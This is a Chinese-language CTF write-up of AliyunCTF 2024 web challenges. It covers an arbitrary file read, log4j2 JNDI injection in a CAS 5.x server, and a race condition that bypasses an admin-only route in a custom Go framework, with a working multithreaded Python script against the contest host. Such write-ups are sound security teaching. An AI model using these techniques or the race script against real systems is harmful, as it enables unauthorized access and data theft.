March 25, 2024

AliyunCTF 2024 Web Writeup

image.png
我们是第三,各位师傅都尽力了太厉害了!

Chain17

0day就不公开了

Web签到

命令拼贴导致任意文件读取。
挺简单一题
image.png
右上角解码可以看到flag

easyCAS

虽然说是考cas5.x,但不是反序列化的洞,是log4j2!想都没想到这傻逼居然是log4j2!
源码:
https://github.com/apereo/cas/tree/v5.3.16
条件:

一开始没理解他说的debug模式是什么,以为是tomcat的debug,会输出日志文件,最终读取日志拿到key,打老反序列化的洞。结果不是,其实当时应该注意到log4j2.xml的
image.png
项目文件配置了log4j2,默认就带这个,并且你可以看到在反序列化漏洞的入口点有这么一段
image.png
它调用了logger.debug方法。
image.png
获取的是log4j2的logger,因此直接打JNDI注入了,spring的话直接打了snakeyaml链。

PasteBin

条件竞争
这道题自己实现了golang的路由,做了一个仿gin框架的东西。但是有一个地方设计的有问题。

每一个路由都是由Handle方法去处理的

启用了多个Http,但是需要注意这里



这三个流程告诉我们的信息就是context上下文所有路由都公用。
再看看路由

既然是自己实现的框架,那就看一下它的中间件功能是如何实现的吧

它的中间件是在run方法里去手动调用的,然后我们看看flag获取的逻辑吧

访问就送,但是有个鉴权模块

结合上述的几个条件其实不难想到,我们要做的就只是绕过权限而已,并不需要伪造真正的admin,由于ctx是共享的,那么ctx的属性也会被影响
设想一下:假如一个进程访问flag(需要onlyAdmin),一个路由访问普通用户路由(不需要onlyAdmin),那么在这里条件竞争一下,ctx.mws是不是就被污染了呢?那我们就绕过了onlyAdmin访问到了flagHandler。
还有最后一个点

如果内容有flag那么会给你清空了,但是注意上面的if,我们只需要页面的output有admin字眼就行,我们create一个title为admin的内容就行了,然后一边访问flag一边访问/paste/view就行了。
最终拿下flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import threading

import requests

pollute_url="http://web2.aliyunctf.com:33861/paste/view?id=8a0c750b-508f-4433-891d-a51c385c79b1"
flag_url="http://web2.aliyunctf.com:33861/flag"
cookies={
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTEzNjI0MzgsInVzZXJuYW1lIjoiYm9vZ2lwb3AifQ.5NeTLjpNskLo8vk9ZymuvSo99awdCKvV80Q78ynrRHU"
}
def pollute():
while True:
r = requests.get(pollute_url,cookies=cookies)
if "aliyunctf" in r.text:
print(r.text)

def flag():
while True:
r=requests.get(flag_url)

event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=pollute).start()

for i in range(1,15):
threading.Thread(target=flag).start()

image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Writeup#CTF